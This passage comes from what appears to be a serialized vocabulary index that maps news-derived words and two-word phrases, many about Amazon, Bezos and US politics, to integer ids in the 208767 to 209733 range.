208767,\n  \"dodge mobile\": 208768,\n  \"important questions\": 208769,\n  \"time thomson\": 208770,\n  \"j8i\": 208771,\n  \"spokeswoman says\": 208772,\n  \"seriously considered\": 208773,\n  \"270 000\": 208774,\n  \"crossing rt\": 208775,\n  \"facebook posted\": 208776,\n  \"losing access\": 208777,\n  \"110\": 208778,\n  \"latvia singapore\": 208779,\n  \"facebook settled\": 208780,\n  \"emergency senate\": 208781,\n  \"times michael\": 208782,\n  \"organized petitions\": 208783,\n  \"chairman directly\": 208784,\n  \"interesting right\": 208785,\n  \"council reports\": 208786,\n  \"rain little\": 208787,\n  \"chicago food\": 208788,\n  \"formal anti\": 208789,\n  \"coffee redesigned\": 208790,\n  \"reprogrammed\": 208791,\n  \"homeless congresswomen\": 208792,\n  \"post titled\": 208793,\n  \"clicked contact\": 208794,\n  \"kowalick wichita\": 208795,\n  \"clothes trump\": 208796,\n  \"nonprofits\": 208797,\n  \"celebrated murderess\": 208798,\n  \"increased annually\": 208799,\n  \"rescue operations\": 208800,\n  \"clip rep\": 208801,\n  \"corrupt facebook\": 208802,\n  \"criminality\": 208803,\n  \"prominent neighbor\": 208804,\n  \"overturns roe\": 208805,\n  \"greggjarrett\": 208806,\n  \"firm action\": 208807,\n  \"bezos cited\": 208808,\n  \"walmart partially\": 208809,\n  \"portrayals\": 208810,\n  \"rise alongside\": 208811,\n  \"peralta\": 208812,\n  \"column bezos\": 208813,\n  \"session skid\": 208814,\n  \"benefits healthcare\": 208815,\n  \"today iranian\": 208816,\n  \"spec fbi\": 208817,\n  \"currently undertake\": 208818,\n  \"accidental\": 208819,\n  \"existing carriers\": 208820,\n  \"district small\": 208821,\n  \"sentiment decreased\": 208822,\n  \"005930\": 208823,\n  \"amazon emblazoned\": 208824,\n  \"stock keeps\": 208825,\n  \"explicitly saying\": 208826,\n  \"continue probes\": 208827,\n  \"department waivers\": 208828,\n  \"levers\": 208829,\n  \"trilogy directed\": 208830,\n  \"banning reporters\": 208831,\n  \"florence wrath\": 208832,\n  \"relatively cold\": 208833,\n  \"amgen nasdaq\": 208834,\n  \"ellis told\": 208835,\n  \"challenger liberal\": 208836,\n  \"law reuters\": 208837,\n  \"worked perfectly\": 208838,\n  \"violence houston\": 208839,\n  \"188\": 208840,\n  \"peter schweizer\": 208841,\n  \"collins ivanka\": 208842,\n  \"slaps new\": 208843,\n  \"moeller macro\": 208844,\n  \"times company\": 208845,\n  \"real products\": 208846,\n  \"remembering president\": 208847,\n  \"economic disparities\": 208848,\n  \"reform eu\": 208849,\n  \"beleived\": 208850,\n  \"tribune media\": 208851,\n  \"court ruled\": 208852,\n  \"dear white\": 208853,\n  \"social ties\": 208854,\n  \"closing thousands\": 208855,\n  \"senate democrats\": 208856,\n  \"brazil energy\": 208857,\n  \"women safe\": 208858,\n  \"hailing company\": 208859,\n  \"recent results\": 208860,\n  \"society santos\": 208861,\n  \"warren millionaire\": 208862,\n  \"listen\": 208863,\n  \"force fed\": 208864,\n  \"sec private\": 208865,\n  \"airline stocks\": 208866,\n  \"distractors\": 208867,\n  \"definitely makes\": 208868,\n  \"criticized mccain\": 208869,\n  \"moser thanks\": 208870,\n  \"actually delivering\": 208871,\n  \"point testimony\": 208872,\n  \"flight software\": 208873,\n  \"blue shirt\": 208874,\n  \"dutch prime\": 208875,\n  \"lunch years\": 208876,\n  \"agricultural exports\": 208877,\n  \"quicker ground\": 208878,\n  \"products surpassing\": 208879,\n  \"musk acted\": 208880,\n  \"business loan\": 208881,\n  \"surveillance equipment\": 208882,\n  \"ami ties\": 208883,\n  \"bauer 2016\": 208884,\n  \"grumbling\": 208885,\n  \"alex abramovich\": 208886,\n  \"2019 cringely\": 208887,\n  \"stock voting\": 208888,\n  \"trump nov\": 208889,\n  \"peele says\": 208890,\n  \"reporters investigating\": 208891,\n  \"indian state\": 208892,\n  \"concludes\": 208893,\n  \"inspiring triumph\": 208894,\n  \"increase costs\": 208895,\n  \"activity pressure\": 208896,\n  \"thomson easley\": 208897,\n  \"time sold\": 208898,\n  \"items seized\": 208899,\n  \"make comments\": 208900,\n  \"hardline\": 208901,\n  \"sql\": 208902,\n  \"conversations brennan\": 208903,\n  \"sourcebusiness\": 208904,\n  \"names business\": 208905,\n  \"stop doing\": 208906,\n  \"amicably\": 208907,\n  \"intimidation attempt\": 208908,\n  \"potential misuse\": 208909,\n  \"closure stifling\": 208910,\n  \"renewing pressure\": 208911,\n  \"old city\": 208912,\n  \"cardy\": 208913,\n  \"0723et copyright\": 208914,\n  \"company controversial\": 208915,\n  \"thornton\": 208916,\n  \"classic font\": 208917,\n  \"cortez celebrated\": 208918,\n  \"allegations tweet\": 208919,\n  \"spooked\": 208920,\n  \"underwood\": 208921,\n  \"considering antitrust\": 208922,\n  \"terri\": 208923,\n  \"waterproof canvas\": 208924,\n  \"actual guarantee\": 208925,\n  \"sudden ascendance\": 208926,\n  \"heads plenty\": 208927,\n  \"hell unfettered\": 208928,\n  \"spacex rocket\": 208929,\n  \"clear pretty\": 208930,\n  \"word leaked\": 208931,\n  \"rodriguez helped\": 208932,\n  \"products branded\": 208933,\n  \"estimates 600\": 208934,\n  \"single transaction\": 208935,\n  \"resiliency\": 208936,\n  \"enforced gun\": 208937,\n  \"rolex\": 208938,\n  \"power setting\": 208939,\n  \"wh titles\": 208940,\n  \"2020 nutanix\": 208941,\n  \"separate headquarters\": 208942,\n  \"specific substances\": 208943,\n  \"favourable demographics\": 208944,\n  \"saul follows\": 208945,\n  \"known survivor\": 208946,\n  \"nationally\": 208947,\n  \"enforcement identify\": 208948,\n  \"amazon movie\": 208949,\n  \"deprecating humour\": 208950,\n  \"confusion\": 208951,\n  \"eu ambassadors\": 208952,\n  \"alongside matthew\": 208953,\n  \"inspected\": 208954,\n  \"sheela\": 208955,\n  \"jay\": 208956,\n  \"ryanafournier\": 208957,\n  \"mile driven\": 208958,\n  \"chairman tells\": 208959,\n  \"initially hailed\": 208960,\n  \"volume prices\": 208961,\n  \"limits sticking\": 208962,\n  \"amazon happens\": 208963,\n  \"service calling\": 208964,\n  \"retrospect\": 208965,\n  \"600 seat\": 208966,\n  \"allegations preceded\": 208967,\n  \"food retail\": 208968,\n  \"sucharita\": 208969,\n  \"systematic way\": 208970,\n  \"appear reluctant\": 208971,\n  \"bolsonaro discourse\": 208972,\n  \"conservative michael\": 208973,\n  \"giving single\": 208974,\n  \"john reilly\": 208975,\n  \"just watched\": 208976,\n  \"content quality\": 208977,\n  \"duffy weekend\": 208978,\n  \"newman twitter\": 208979,\n  \"decisions fast\": 208980,\n  \"accusations london\": 208981,\n  \"costumes beautiful\": 208982,\n  \"republican momentum\": 208983,\n  \"maintain post\": 208984,\n  \"litigation costs\": 208985,\n  \"jardim\": 208986,\n  \"calling reports\": 208987,\n  \"barbra\": 208988,\n  \"higher barrier\": 208989,\n  \"sees potential\": 208990,\n  \"deadpanned defending\": 208991,\n  \"toronto flickr\": 208992,\n  \"obsessive target\": 208993,\n  \"investigate democrats\": 208994,\n  \"council member\": 208995,\n  \"content rupert\": 208996,\n  \"morality sitcom\": 208997,\n  \"shop google\": 208998,\n  \"daniels 130\": 208999,\n  \"wasserman mike\": 209000,\n  \"weekly edition\": 209001,\n  \"matters ig\": 209002,\n  \"steered dozens\": 209003,\n  \"longer exclusively\": 209004,\n  \"people sources\": 209005,\n  \"diplomas versus\": 209006,\n  \"company following\": 209007,\n  \"technically filed\": 209008,\n  \"million 145\": 209009,\n  \"quarter bluefin\": 209010,\n  \"government servers\": 209011,\n  \"amazon costs\": 209012,\n  \"outside parties\": 209013,\n  \"collusion read\": 209014,\n  \"google senior\": 209015,\n  \"inadequate information\": 209016,\n  \"hotels blaming\": 209017,\n  \"inc_feature_image_override inc_feature_image_background_color_override\": 209018,\n  \"weirder\": 209019,\n  \"heller\": 209020,\n  \"preservation\": 209021,\n  \"don belong\": 209022,\n  \"related sites\": 209023,\n  \"faces questions\": 209024,\n  \"street values\": 209025,\n  \"past attacks\": 209026,\n  \"charities\": 209027,\n  \"symantec corp\": 209028,\n  \"alucard\": 209029,\n  \"special emphasis\": 209030,\n  \"helps users\": 209031,\n  \"later worked\": 209032,\n  \"sasquatch music\": 209033,\n  \"freeman apologized\": 209034,\n  \"tannehill\": 209035,\n  \"technologies built\": 209036,\n  \"chairman jerry\": 209037,\n  \"packages including\": 209038,\n  \"east harlem\": 209039,\n  \"witty cynical\": 209040,\n  \"fraternity hazing\": 209041,\n  \"hard nosed\": 209042,\n  \"formation 2018\": 209043,\n  \"taken wave\": 209044,\n  \"reviews attached\": 209045,\n  \"large claim\": 209046,\n  \"vehicles second\": 209047,\n  \"nick mcdonell\": 209048,\n  \"processes\": 209049,\n  \"pandora\": 209050,\n  \"search market\": 209051,\n  \"cases consumers\": 209052,\n  \"attack lines\": 209053,\n  \"rescinded\": 209054,\n  \"cities make\": 209055,\n  \"2018 tax\": 209056,\n  \"generation bezos\": 209057,\n  \"possible record\": 209058,\n  \"considered launching\": 209059,\n  \"including lynette\": 209060,\n  \"longing\": 209061,\n  \"experts celebrities\": 209062,\n  \"chance rudy\": 209063,\n  \"devotees flooding\": 209064,\n  \"planet variant\": 209065,\n  \"author scott\": 209066,\n  \"inappropriately\": 209067,\n  \"2019 yes\": 209068,\n  \"indoor plumbing\": 209069,\n  \"hispanics voted\": 209070,\n  \"summon\": 209071,\n  \"bs quote\": 209072,\n  \"content services\": 209073,\n  \"opening pandora\": 209074,\n  \"wear various\": 209075,\n  \"multiple reports\": 209076,\n  \"unconventional\": 209077,\n  \"grammys\": 209078,\n  \"prohibiting\": 209079,\n  \"launch rocket\": 209080,\n  \"breaking amazon\": 209081,\n  \"washington correspondent\": 209082,\n  \"small market\": 209083,\n  \"shipping problems\": 209084,\n  \"admired\": 209085,\n  \"hate relationship\": 209086,\n  \"women scientists\": 209087,\n  \"psc decals\": 209088,\n  \"care plan\": 209089,\n  \"tokyo 2020\": 209090,\n  \"naz deravian\": 209091,\n  \"schiff science\": 209092,\n  \"added griffeth\": 209093,\n  \"fuel house\": 209094,\n  \"ryanpaul\": 209095,\n  \"election eve\": 209096,\n  \"consultation 98point6\": 209097,\n  \"amazon includes\": 209098,\n  \"chief injured\": 209099,\n  \"charming handwritten\": 209100,\n  \"explosive device\": 209101,\n  \"amazon exercise\": 209102,\n  \"shill\": 209103,\n  \"bush announced\": 209104,\n  \"raging amazon\": 209105,\n  \"increasingly heated\": 209106,\n  \"banned industrial\": 209107,\n  \"protect dreamers\": 209108,\n  \"medium strip\": 209109,\n  \"helped fuel\": 209110,\n  \"microsd cards\": 209111,\n  \"did trade\": 209112,\n  \"algeria\": 209113,\n  \"trump sticking\": 209114,\n  \"monopoly crony\": 209115,\n  \"interviewed willie\": 209116,\n  \"accenture\": 209117,\n  \"giraffe\": 209118,\n  \"factbox\": 209119,\n  \"public acceptance\": 209120,\n  \"979326715272065024\": 209121,\n  \"hispanics barely\": 209122,\n  \"wealth severe\": 209123,\n  \"trump renegotiation\": 209124,\n  \"development director\": 209125,\n  \"reporting covering\": 209126,\n  \"clarify comments\": 209127,\n  \"started published\": 209128,\n  \"global vice\": 209129,\n  \"legislation cracking\": 209130,\n  \"dina\": 209131,\n  \"long skirts\": 209132,\n  \"tax income\": 209133,\n  \"famine syria\": 209134,\n  \"comey loyalty\": 209135,\n  \"identity using\": 209136,\n  \"amazon list\": 209137,\n  \"story fed\": 209138,\n  \"shippers billions\": 209139,\n  \"stalemate\": 209140,\n  \"lofty threshold\": 209141,\n  \"bezos donated\": 209142,\n  \"holds 337\": 209143,\n  \"griff jenkins\": 209144,\n  \"poke\": 209145,\n  \"sacrificing\": 209146,\n  \"hotseller\": 209147,\n  \"eero team\": 209148,\n  \"country acting\": 209149,\n  \"stories hear\": 209150,\n  \"piece relied\": 209151,\n  \"vox trump\": 209152,\n  \"tolerant temperatures\": 209153,\n  \"company stores\": 209154,\n  \"withstand\": 209155,\n  \"agencies decide\": 209156,\n  \"moments disney\": 209157,\n  \"unique word\": 209158,\n  \"elected trump\": 209159,\n  \"samantha vinograd\": 209160,\n  \"saying google\": 209161,\n  \"provides guidelines\": 209162,\n  \"pre fab\": 209163,\n  \"eliminate rebates\": 209164,\n  \"smith marvel\": 209165,\n  \"president takes\": 209166,\n  \"children development\": 209167,\n  \"strongly denied\": 209168,\n  \"asign\": 209169,\n  \"unless read\": 209170,\n  \"donations handle\": 209171,\n  \"sozzi\": 209172,\n  \"zappos\": 209173,\n  \"border children\": 209174,\n  \"deleting\": 209175,\n  \"talton jtalton\": 209176,\n  \"annually compared\": 209177,\n  \"export article37487877\": 209178,\n  \"rwg1yjnwzh\": 209179,\n  \"post recently\": 209180,\n  \"murdered\": 209181,\n  \"criteria won\": 209182,\n  \"case remains\": 209183,\n  \"fourth year\": 209184,\n  \"winners\": 209185,\n  \"largest car\": 209186,\n  \"criticism saying\": 209187,\n  \"ex north\": 209188,\n  \"reform immigration\": 209189,\n  \"mail noted\": 209190,\n  \"schutte\": 209191,\n  \"guardian julia\": 209192,\n  \"million businesses\": 209193,\n  \"putin days\": 209194,\n  \"appointed head\": 209195,\n  \"weixin\": 209196,\n  \"read formal\": 209197,\n  \"absolute\": 209198,\n  \"middle income\": 209199,\n  \"report tonight\": 209200,\n  \"green cars\": 209201,\n  \"s0\": 209202,\n  \"favourite behemoth\": 209203,\n  \"important confidentiality\": 209204,\n  \"great year\": 209205,\n  \"big mistake\": 209206,\n  \"tremendous odds\": 209207,\n  \"siddiqui makes\": 209208,\n  \"facebook wants\": 209209,\n  \"thread\": 209210,\n  \"mlc\": 209211,\n  \"anonymous founder\": 209212,\n  \"depot hd\": 209213,\n  \"impact high\": 209214,\n  \"mainly democrats\": 209215,\n  \"logistics technology\": 209216,\n  \"payday people\": 209217,\n  \"specifically limiting\": 209218,\n  \"arrest\": 209219,\n  \"amazon conducts\": 209220,\n  \"rate boxes\": 209221,\n  \"demand spokeswoman\": 209222,\n  \"growing just\": 209223,\n  \"boarder perspective\": 209224,\n  \"rent wrote\": 209225,\n  \"accurate portrayal\": 209226,\n  \"naz\": 209227,\n  \"recent past\": 209228,\n  \"including racy\": 209229,\n  \"fired fbi\": 209230,\n  \"obviously stole\": 209231,\n  \"sliced bread\": 209232,\n  \"job amazon\": 209233,\n  \"primary debates\": 209234,\n  \"trump republicans\": 209235,\n  \"trump meet\": 209236,\n  \"currently held\": 209237,\n  \"dawsey adding\": 209238,\n  \"strategies baked\": 209239,\n  \"benefits according\": 209240,\n  \"spend 100\": 209241,\n  \"bremberg cohn\": 209242,\n  \"strength morgan\": 209243,\n  \"20amer\": 209244,\n  \"read local\": 209245,\n  \"increasingly clear\": 209246,\n  \"fetching\": 209247,\n  \"fineman noted\": 209248,\n  \"women living\": 209249,\n  \"states intervening\": 209250,\n  \"british claims\": 209251,\n  \"inevitably lead\": 209252,\n  \"meg\": 209253,\n  \"seattle housing\": 209254,\n  \"happy graveyard\": 209255,\n  \"swalwell\": 209256,\n  \"stores google\": 209257,\n  \"latest indication\": 209258,\n  \"tabloid recent\": 209259,\n  \"behavior defined\": 209260,\n  \"sparking speculation\": 209261,\n  \"\\u014228 2billion\": 209262,\n  \"merely pass\": 209263,\n  \"economy parasites\": 209264,\n  \"times print\": 209265,\n  \"significant question\": 209266,\n  \"newswire publishersnewswire\": 209267,\n  \"jay inslee\": 209268,\n  \"putting forward\": 209269,\n  \"interrogated\": 209270,\n  \"gudiel homecare\": 209271,\n  \"legal parlance\": 209272,\n  \"tyrannical\": 209273,\n  \"platt share\": 209274,\n  \"wasn outrage\": 209275,\n  \"instant best\": 209276,\n  \"631\": 209277,\n  \"suffers\": 209278,\n  \"hearing severe\": 209279,\n  \"report 2019\": 209280,\n  \"norms\": 209281,\n  \"enacted regulations\": 209282,\n  \"establish\": 209283,\n  \"starvation wages\": 209284,\n  \"howard told\": 209285,\n  \"anticompetitive activity\": 209286,\n  \"providing faster\": 209287,\n  \"blanket disqualification\": 209288,\n  \"featuring\": 209289,\n  \"night alessandra\": 209290,\n  \"higher rathner\": 209291,\n  \"average people\": 209292,\n  \"tapeworms\": 209293,\n  \"adolescence\": 209294,\n  \"circuit courts\": 209295,\n  \"acclaimed novelist\": 209296,\n  \"normally tightly\": 209297,\n  \"justice including\": 209298,\n  \"needs changing\": 209299,\n  \"6400 asknewswires\": 209300,\n  \"rocked facebook\": 209301,\n  \"michigan federal\": 209302,\n  \"fc news\": 209303,\n  \"speck\": 209304,\n  \"combines canadian\": 209305,\n  \"370 locations\": 209306,\n  \"stock iwas\": 209307,\n  \"amazon claiming\": 209308,\n  \"genre movies\": 209309,\n  \"coverage 100\": 209310,\n  \"wine brands\": 209311,\n  \"companies looked\": 209312,\n  \"icann review\": 209313,\n  \"remaining stable\": 209314,\n  \"tell senator\": 209315,\n  \"luxembourg\": 209316,\n  \"toddler\": 209317,\n  \"talent recently\": 209318,\n  \"companies spiraling\": 209319,\n  \"nations nikki\": 209320,\n  \"remarks trivialize\": 209321,\n  \"weeks lindsey\": 209322,\n  \"adjudicated\": 209323,\n  \"wnf\": 209324,\n  \"escalating trump\": 209325,\n  \"violence extremist\": 209326,\n  \"usps yesterday\": 209327,\n  \"article yesterday\": 209328,\n  \"accepts responsibility\": 209329,\n  \"guidance amazon\": 209330,\n  \"failing politicians\": 209331,\n  \"shootings robberies\": 209332,\n  \"amzn analysts\": 209333,\n  \"billion loan\": 209334,\n  \"year certainly\": 209335,\n  \"stephen mnuchin\": 209336,\n  \"despite apple\": 209337,\n  \"14th herera\": 209338,\n  \"response saying\": 209339,\n  \"business initiative\": 209340,\n  \"bolton\": 209341,\n  \"denies role\": 209342,\n  \"funeral services\": 209343,\n  \"attractive offer\": 209344,\n  \"commentator congressman\": 209345,\n  \"clearly knowing\": 209346,\n  \"lagos nganang\": 209347,\n  \"americans wrongly\": 209348,\n  \"brownstein\": 209349,\n  \"3806 extra\": 209350,\n  \"subscribers thirst\": 209351,\n  \"bigger microsoft\": 209352,\n  \"robo votes\": 209353,\n  \"daimler lowered\": 209354,\n  \"president immunology\": 209355,\n  \"prosecutors assured\": 209356,\n  \"operation extra\": 209357,\n  \"violations related\": 209358,\n  \"2018 new\": 209359,\n  \"teaching\": 209360,\n  \"sanchez helicopter\": 209361,\n  \"super woke\": 209362,\n  \"worst blunders\": 209363,\n  \"joined pentagon\": 209364,\n  \"developed friendly\": 209365,\n  \"outsider fans\": 209366,\n  \"kron4\": 209367,\n  \"myriad scandals\": 209368,\n  \"nominee followed\": 209369,\n  \"aiding amazon\": 209370,\n  \"sensitive person\": 209371,\n  \"john mckinnon\": 209372,\n  \"bezos eats\": 209373,\n  \"disruption leary\": 209374,\n  \"space enthusiast\": 209375,\n  \"france ireland\": 209376,\n  \"supportive\": 209377,\n  \"series man\": 209378,\n  \"hate symbols\": 209379,\n  \"rekognition tech\": 209380,\n  \"funding government\": 209381,\n  \"deals\": 209382,\n  \"forcing long\": 209383,\n  \"market crash\": 209384,\n  \"medical ceo\": 209385,\n  \"russia interference\": 209386,\n  \"world 8217\": 209387,\n  \"reacted\": 209388,\n  \"motors harley\": 209389,\n  \"netflix transcends\": 209390,\n  \"media influence\": 209391,\n  \"putin encounter\": 209392,\n  \"packets\": 209393,\n  \"counting cat\": 209394,\n  \"empire investors\": 209395,\n  \"1922\": 209396,\n  \"caught cheating\": 209397,\n  \"force notes\": 209398,\n  \"crime book\": 209399,\n  \"bullish way\": 209400,\n  \"foreign investments\": 209401,\n  \"khan authored\": 209402,\n  \"overcame\": 209403,\n  \"rose mansion\": 209404,\n  \"boost triple\": 209405,\n  \"slighting\": 209406,\n  \"deliveries paying\": 209407,\n  \"clearer picture\": 209408,\n  \"nation governments\": 209409,\n  \"tirement plan\": 209410,\n  \"pre empt\": 209411,\n  \"swir\": 209412,\n  \"slashing\": 209413,\n  \"wenig\": 209414,\n  \"cvs health\": 209415,\n  \"alert nasdaq\": 209416,\n  \"devote large\": 209417,\n  \"statement small\": 209418,\n  \"enter fourth\": 209419,\n  \"moving northward\": 209420,\n  \"guy threw\": 209421,\n  \"district court\": 209422,\n  \"giant leaving\": 209423,\n  \"watched drake\": 209424,\n  \"driving markets\": 209425,\n  \"ccn alexandria\": 209426,\n  \"amazon pushed\": 209427,\n  \"quite poor\": 209428,\n  \"crowd favorite\": 209429,\n  \"articles announcing\": 209430,\n  \"whets\": 209431,\n  \"says hiring\": 209432,\n  \"qualtrics\": 209433,\n  \"oversee preparations\": 209434,\n  \"striving\": 209435,\n  \"status 1062349739600044033\": 209436,\n  \"border fencing\": 209437,\n  \"opposing ocasio\": 209438,\n  \"house legislation\": 209439,\n  \"headquarters trump\": 209440,\n  \"fell sharply\": 209441,\n  \"million divorce\": 209442,\n  \"corporate footprint\": 209443,\n  \"shocking\": 209444,\n  \"happening plummet\": 209445,\n  \"embarrass ment\": 209446,\n  \"genuity tony\": 209447,\n  \"tenants\": 209448,\n  \"undermine america\": 209449,\n  \"cross party\": 209450,\n  \"sinclair counter\": 209451,\n  \"team los\": 209452,\n  \"picking winners\": 209453,\n  \"break antitrust\": 209454,\n  \"involved political\": 209455,\n  \"win business\": 209456,\n  \"tech activity\": 209457,\n  \"wyoming military\": 209458,\n  \"jackie scott\": 209459,\n  \"scarborough continued\": 209460,\n  \"stance says\": 209461,\n  \"war waged\": 209462,\n  \"garamendi\": 209463,\n  \"amazon foreignintelligencesurveillanceact\": 209464,\n  \"troubles minutes\": 209465,\n  \"love heartsick\": 209466,\n  \"tariffs won\": 209467,\n  \"treasonous establishment\": 209468,\n  \"shares victory\": 209469,\n  \"board ft\": 209470,\n  \"mass data\": 209471,\n  \"landholders\": 209472,\n  \"history sanders\": 209473,\n  \"cristinaalesci guest\": 209474,\n  \"actively devoted\": 209475,\n  \"great life\": 209476,\n  \"mobbed happy\": 209477,\n  \"philadelphia gas\": 209478,\n  \"oil rig\": 209479,\n  \"overt personification\": 209480,\n  \"public scourge\": 209481,\n  \"black mirror\": 209482,\n  \"chronicles tech\": 209483,\n  \"figure welcomes\": 209484,\n  \"caravan organizers\": 209485,\n  \"condemned bezos\": 209486,\n  \"app\\u00e9tit mad\": 209487,\n  \"rag\": 209488,\n  \"amazon pregnancy\": 209489,\n  \"woolsey\": 209490,\n  \"lets drivers\": 209491,\n  \"warship reportedly\": 209492,\n  \"reckless undercutting\": 209493,\n  \"news fun\": 209494,\n  \"department list\": 209495,\n  \"agency facilities\": 209496,\n  \"kavanaugh recent\": 209497,\n  \"plot bears\": 209498,\n  \"entire list\": 209499,\n  \"warren told\": 209500,\n  \"ardern\": 209501,\n  \"index sinks\": 209502,\n  \"opposite\": 209503,\n  \"great tax\": 209504,\n  \"midcareer foray\": 209505,\n  \"looking specifically\": 209506,\n  \"reportedly killed\": 209507,\n  \"america leading\": 209508,\n  \"consumers differently\": 209509,\n  \"dod swamp\": 209510,\n  \"jedi project\": 209511,\n  \"electronics aapl\": 209512,\n  \"minimis exception\": 209513,\n  \"gossip magazine\": 209514,\n  \"supporting donald\": 209515,\n  \"upcoming entry\": 209516,\n  \"fallows\": 209517,\n  \"occupant letitia\": 209518,\n  \"smaller faster\": 209519,\n  \"ice death\": 209520,\n  \"hardaway\": 209521,\n  \"gigantic amazon\": 209522,\n  \"budget standoff\": 209523,\n  \"trump red\": 209524,\n  \"2020 ms\": 209525,\n  \"seth kaper\": 209526,\n  \"dick pic\": 209527,\n  \"lies lot\": 209528,\n  \"interesting read\": 209529,\n  \"truck plummeted\": 209530,\n  \"enquirer newspaper\": 209531,\n  \"unit read\": 209532,\n  \"reportedly insulted\": 209533,\n  \"share contract\": 209534,\n  \"jeb\": 209535,\n  \"dwelling\": 209536,\n  \"park officials\": 209537,\n  \"leaves winfield\": 209538,\n  \"haul\": 209539,\n  \"service mchugh\": 209540,\n  \"appeared obsessed\": 209541,\n  \"fukuoka bustling\": 209542,\n  \"simply billion\": 209543,\n  \"technology select\": 209544,\n  \"becker lawyers\": 209545,\n  \"handbook\": 209546,\n  \"compared amazon\": 209547,\n  \"news debunked\": 209548,\n  \"unprofitable\": 209549,\n  \"world dave\": 209550,\n  \"amendment freedom\": 209551,\n  \"global backlash\": 209552,\n  \"fact helping\": 209553,\n  \"points fueled\": 209554,\n  \"current regime\": 209555,\n  \"court announcement\": 209556,\n  \"steve hoffman\": 209557,\n  \"caste debate\": 209558,\n  \"16th\": 209559,\n  \"ami publication\": 209560,\n  \"official convicted\": 209561,\n  \"apprentice manigualt\": 209562,\n  \"nadler chair\": 209563,\n  \"family content\": 209564,\n  \"demonstrate support\": 209565,\n  \"industry way\": 209566,\n  \"men wear\": 209567,\n  \"briefs tesla\": 209568,\n  \"sellers decide\": 209569,\n  \"urban legend\": 209570,\n  \"fighting assad\": 209571,\n  \"philippe reines\": 209572,\n  \"negotiated long\": 209573,\n  \"asterisk\": 209574,\n  \"cooper reignites\": 209575,\n  \"street meltdowns\": 209576,\n  \"strong relationship\": 209577,\n  \"founder owns\": 209578,\n  \"purchase amazon\": 209579,\n  \"press david\": 209580,\n  \"amazon boot\": 209581,\n  \"designating amazon\": 209582,\n  \"lockheed pic\": 209583,\n  \"rates closely\": 209584,\n  \"manager residents\": 209585,\n  \"floridian\": 209586,\n  \"regarding career\": 209587,\n  \"department results\": 209588,\n  \"actually reported\": 209589,\n  \"profit shippers\": 209590,\n  \"vetted\": 209591,\n  \"things thatare\": 209592,\n  \"copies scott\": 209593,\n  \"don realize\": 209594,\n  \"customers won\": 209595,\n  \"delivery streaming\": 209596,\n  \"new things\": 209597,\n  \"apple certainly\": 209598,\n  \"term market\": 209599,\n  \"burn watch\": 209600,\n  \"khashoggi connection\": 209601,\n  \"communications\": 209602,\n  \"harry exits\": 209603,\n  \"whatsapp container\": 209604,\n  \"documents posted\": 209605,\n  \"mike gianaris\": 209606,\n  \"documentary oscars\": 209607,\n  \"explosive interview\": 209608,\n  \"watchdog\": 209609,\n  \"1992 ruling\": 209610,\n  \"regulatory risk\": 209611,\n  \"2019 estimates\": 209612,\n  \"estimated fortune\": 209613,\n  \"kind company\": 209614,\n  \"references tweet\": 209615,\n  \"950 billion\": 209616,\n  \"edges\": 209617,\n  \"contemporary adaptation\": 209618,\n  \"rebut says\": 209619,\n  \"ridiculous sketch\": 209620,\n  \"republican voters\": 209621,\n  \"mentioned loudly\": 209622,\n  \"pompeo america\": 209623,\n  \"held meetings\": 209624,\n  \"mistreats\": 209625,\n  \"day created\": 209626,\n  \"country amazon\": 209627,\n  \"589 shares\": 209628,\n  \"bjp president\": 209629,\n  \"ranging report\": 209630,\n  \"half getting\": 209631,\n  \"jobs market\": 209632,\n  \"dunham\": 209633,\n  \"vp mike\": 209634,\n  \"enquirer cover\": 209635,\n  \"horizon oil\": 209636,\n  \"puppet\": 209637,\n  \"w5q x5q16\": 209638,\n  \"bring issues\": 209639,\n  \"securities lowered\": 209640,\n  \"good release\": 209641,\n  \"brewers expand\": 209642,\n  \"sue patterson\": 209643,\n  \"suffolk\": 209644,\n  \"chief newhouse\": 209645,\n  \"office thanks\": 209646,\n  \"amazon data\": 209647,\n  \"hldg plc\": 209648,\n  \"wife pockets\": 209649,\n  \"strongly suggest\": 209650,\n  \"risque\": 209651,\n  \"collette little\": 209652,\n  \"record sandra\": 209653,\n  \"bidders including\": 209654,\n  \"upgrades ceo\": 209655,\n  \"mao zedong\": 209656,\n  \"necessarily helps\": 209657,\n  \"representative senate\": 209658,\n  \"considering initial\": 209659,\n  \"thankful\": 209660,\n  \"state workers\": 209661,\n  \"comparable sales\": 209662,\n  \"rosario crushing\": 209663,\n  \"faster increases\": 209664,\n  \"author president\": 209665,\n  \"attorney number\": 209666,\n  \"red tape\": 209667,\n  \"mitch\": 209668,\n  \"isfirstvideoincollection containerid\": 209669,\n  \"6am mix\": 209670,\n  \"promote fair\": 209671,\n  \"b5q\": 209672,\n  \"disparities\": 209673,\n  \"space craft\": 209674,\n  \"automation\": 209675,\n  \"involve goods\": 209676,\n  \"person screamed\": 209677,\n  \"democratic senior\": 209678,\n  \"genuine\": 209679,\n  \"elena picture\": 209680,\n  \"hovenkamp\": 209681,\n  \"union service\": 209682,\n  \"immigration agency\": 209683,\n  \"agency impact\": 209684,\n  \"surprise despite\": 209685,\n  \"teresa kersten\": 209686,\n  \"2018 deadline\": 209687,\n  \"unplanned\": 209688,\n  \"local matters\": 209689,\n  \"marketplace pulse\": 209690,\n  \"burger chain\": 209691,\n  \"slang creole\": 209692,\n  \"fy17 annual\": 209693,\n  \"case studies\": 209694,\n  \"cove hack\": 209695,\n  \"press occasion\": 209696,\n  \"did infiltrate\": 209697,\n  \"imminent demise\": 209698,\n  \"etiquette alex\": 209699,\n  \"100 post\": 209700,\n  \"568\": 209701,\n  \"share estimates\": 209702,\n  \"radically change\": 209703,\n  \"democrats took\": 209704,\n  \"internet sites\": 209705,\n  \"russo toni\": 209706,\n  \"magazine follow\": 209707,\n  \"shared online\": 209708,\n  \"immediately followed\": 209709,\n  \"tentative brexit\": 209710,\n  \"dnc chair\": 209711,\n  \"says prisoner\": 209712,\n  \"scandals surrounded\": 209713,\n  \"empower hundreds\": 209714,\n  \"envelopes piled\": 209715,\n  \"advance\": 209716,\n  \"tsvetana paraskova\": 209717,\n  \"clinton does\": 209718,\n  \"bring frankly\": 209719,\n  \"marko georgiev\": 209720,\n  \"scrawny\": 209721,\n  \"trump implements\": 209722,\n  \"amazon warehouses\": 209723,\n  \"pictures pictures\": 209724,\n  \"david robert\": 209725,\n  \"associates implies\": 209726,\n  \"tricks\": 209727,\n  \"pregnant nursing\": 209728,\n  \"border attacks\": 209729,\n  \"incongruous\": 209730,\n  \"jim urquhart\": 209731,\n  \"fedex executive\": 209732,\n  \"mcallen texas\": 209733,\n  \"owners time\": 